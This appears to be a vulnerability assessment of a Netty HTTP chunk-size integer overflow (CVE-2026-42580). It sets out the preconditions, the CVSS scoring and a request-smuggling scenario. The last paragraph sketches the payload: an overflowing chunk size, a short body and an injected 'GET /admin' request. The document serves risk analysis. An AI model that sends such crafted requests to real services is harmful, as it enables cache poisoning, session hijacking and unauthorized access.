Netty HTTP Codec CVE-2026-42580

The attacker must send HTTP requests with Transfer-Encoding: chunked headers to a service using Netty's HttpObjectDecoder. No authentication is required, and the attack succeeds against default Netty configurations. The chunk size header must be crafted as a hexadecimal string that, when parsed with 32-bit integer overflow, produces a valid small positive integer; the example '100000004' overflows to 4. The attack does not require specific Netty versions beyond the vulnerable ranges (4.1.0-4.1.132.Final and 4.2.0-4.2.12.Final) or special server configurations. The only limiting factor is network access to the affected Netty service - if the service does not accept HTTP requests (e.g., is not exposed to untrusted networks), exploitation is not possible. Custom application-level validation of chunk sizes before reaching the Netty decoder would also prevent exploitation, but such validation is not typical unless explicitly implemented.

CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L confirms network-accessible unauthenticated exploitation with low complexity and no user interaction required. The scope is unchanged (single component affected), with low impact on integrity (request smuggling enables unauthorized request injection) and low availability impact. The attack requires no special configuration - any deployment using Netty's HttpObjectDecoder to parse incoming HTTP requests is immediately vulnerable. The CVSS score of 6.5 reflects a medium-risk vulnerability with practical exploit impact: request smuggling is a well-understood attack vector enabling cache poisoning, session hijacking, and unauthorized state modifications. The presence of a functional proof-of-concept in the GitHub advisory (demonstrating successful parsing of injected requests) confirms exploitability. KEV status is not explicitly provided in input data, but public disclosure via GitHub advisory and confirmed POC code indicate active awareness in the threat landscape. The low complexity (AC:L) and lack of privilege requirements (PR:N) mean this vulnerability is accessible to any attacker with network access to an affected service, with no special tools beyond HTTP crafting required. No EPSS score is provided, but the attack surface (all HTTP request parsers using Netty) and simplicity of exploitation suggest high real-world risk despite the 6.5 CVSS score.

An attacker sends a single HTTP request containing a malicious chunk size header (e.g., '100000004\r\n') followed by a short legitimate body ('test\r\n') and then appends an injected request (e.g., 'GET /admin HTTP/1.1\r\n'). The Netty parser overflows the chunk size to a small valid integer during parsing, causing it to complete the first request early and treat the injected request as a new, separate request. If the attacker targets a Netty-based API gateway or reverse proxy, the gateway may forward the first request to a backend server while queuing the injected request for the next client, leading to request confusion. Alternatively, if a shared cache (HTTP cache, CDN) sits between the attacker and target, the cache may store the response to the injected request under the legitimate request's URI, poisoning subsequent client requests.